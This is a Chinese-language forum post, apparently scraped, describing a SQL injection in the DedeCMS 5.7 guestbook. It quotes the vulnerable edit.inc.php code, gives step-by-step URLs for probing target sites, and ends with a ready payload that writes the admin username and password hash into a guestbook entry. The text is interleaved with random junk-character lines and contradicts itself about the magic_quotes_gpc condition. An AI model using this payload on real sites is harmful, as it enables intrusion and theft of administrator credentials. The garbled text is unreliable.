dedecms5.7最新sql注射漏洞利用 guestbook.php

admin

影响版本为5.7
/ n$ o. I. l- [, z1 P1 V/ X( K+ m
漏洞文件edit.inc.php具体代码：

< ?php  
; O6 a3 v3 x: x, }
if(!defined('DEDEINC')) exit('Request Error!');  
0 [, k6 a7 i" K' u. F1 K# B
   

if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS'];  

* s+ q3 L6 ~5 \8 V& zelse $GUEST_BOOK_POS = "guestbook.php";  

* j! J3 y9 Z& [$ }. {# m- E   

1 T6 }, a) l; E4 G9 C$id = intval($id);  
5 |8 H% s/ G6 M  v8 x' F. q5 d
* O1 S4 C5 M# A$ P! _1 Fif(empty($job)) $job='view';  

% t3 ^3 q9 [, F6 ]0 H& b2 m   
% Y1 _( h# `; m9 K
& c; v/ y' q; }( g. fif($job=='del' && $g_isadmin)  

{  
3 X$ c2 P9 l9 ^7 }
2 r2 U5 |! C- a7 f' z$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' ");  
( V, f1 l; f8 p9 ^7 w6 T- q
ShowMsg("成功删除一条留言！", $GUEST_BOOK_POS);  

& W1 Q1 l, L; s0 Z. H7 d4 rexit();  
* t$ M: e8 |/ T' |& [, U8 t
, D% Z; T9 g+ ]! V}  
) E2 n& G" s) M* b6 k. t
else if($job=='check' && $g_isadmin)  
7 m! \6 i6 J3 |: d
{  

$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' ");  
) x& ~- P( l/ k6 ?0 m7 v* {# l
ShowMsg("成功审核一条留言！", $GUEST_BOOK_POS);  

" W# y) y" N. S' hexit();  

}  
6 J' w( Y% p0 S6 B: f
' N: q! U7 ]; Y; h- X! q, o7 Uelse if($job=='editok')  
( x5 H) A1 z/ l4 r- b2 k; w
" [9 ?( ]: g) O4 H{  

$remsg = trim($remsg);  
5 d4 c2 X  T4 S, J9 V/ T% \
if($remsg!='')  
9 j" T* i; S$ z
{  
' A: O* Y, d- o& \
//管理员回复不过滤HTML By:Errorera blog:errs.cc  

& T) e6 M0 r) ]& Rif($g_isadmin)  

* w8 n4 ^) k% M$ ~& N9 B: }{  
+ J$ n1 e/ [* {% @: ^! r5 R3 d6 \  _
1 l* d# }: }/ |! m3 V$msg = "<div class='rebox'>".$msg."</div>\n".$remsg;  
* u, [$ y: i  T
9 P* R4 D; S. J: B5 [//$remsg <br /><font color=red>管理员回复：</font> }  

- J: U! [: N/ l  {; \& M' L* nelse
/ l9 o4 e% b2 }' z2 g
3 l3 p" ]5 j! V{  

$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");  
+ y# r0 P: H6 k* ^) O
% h2 V" T$ l8 X& Z3 D. x: M6 D$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n";  

( ?3 R& z9 k8 O8 N2 n$remsg = trimMsg(cn_substrR($remsg, 1024), 1);  
, I9 |5 o" ]% N* B
% p7 U% u- G( c4 r! q* @$msg = $oldmsg.$remsg;  

% U/ Q9 |5 F5 A3 V}  
4 O- O: y: q# r' V3 c% D
}  

//这里没有对$msg过滤，导致可以任意注入了By:Errorera home:www.errs.cc  
' S1 c4 S; s' S
$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' ");  
  p1 S# @( ~2 Y% A% N
4 |8 V: v( [' gShowMsg("成功更改或回复一条留言！", $GUEST_BOOK_POS);  
' [+ ^. c- h5 j$ J1 o
$ T7 u6 p+ j7 @' t, uexit();  

}  
$ ~& v0 h5 a4 Q  U  Z1 {4 I
/ ?' ]/ P9 _: P//home:www.errs.cc  
7 w  x1 H# C7 _+ Z1 P
) ^" W0 ^' I6 j6 x3 _# qif($g_isadmin)  
9 v+ J& d$ V* I
1 G% T! d/ q( u- R2 X{  

$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");  

- P' ]* _5 a0 A% f9 @require_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');  

1 y) @2 P; m; M! U" A0 @  y" @: O}  

else
5 d& F2 y8 _8 R4 b6 g& w9 G( c
0 [$ d% U2 E4 A" g6 |4 ]. n{  
' w" t  E* o0 d! w+ t4 E& ]: p. M* }
- Y- A, {; u9 I* s) F6 E- U$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");  
9 N4 |4 Z: \0 u
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm');  
' {1 G- p' L  t: B
; k" S' v/ C, ]} 漏洞成功需要条件：
1. php magic_quotes_gpc=off
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。

0 c; P; H0 T3 p6 c) w1 d怎么判断是否存在漏洞：
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言，
" D7 V/ ?3 l' X( `然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID
访问：
7 k- n5 {9 J3 m- h) Y+ j
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证

4 j: T2 e  P+ d1 o
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off
& _2 i$ q$ r1 Y. Y; F0 {3 F! v4 W如果没有修改成功，那留言ID的内容还是以前的 那就证明漏洞可以利用。
那么再次访问
/ O) [0 B6 N1 D, ?
2 ~$ R1 B* U0 `+ Xwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回，那条留言ID的内容就直接修改成了mysql 的user().

1 C; o# |1 R( }% u6 D) j' V大概利用就是这样，大家有兴趣的多研究下！！
! w; c, O" ~7 }: H7 t6 f; v
* ]8 R! c, t* `( A5 {最后补充下，估计有人会说怎么暴管理后台帐户密码，你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)！！
/ n' e8 @# N, }2 u0 G0 E
! z( Z) t% T3 h% p9 H: l+ zview sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email='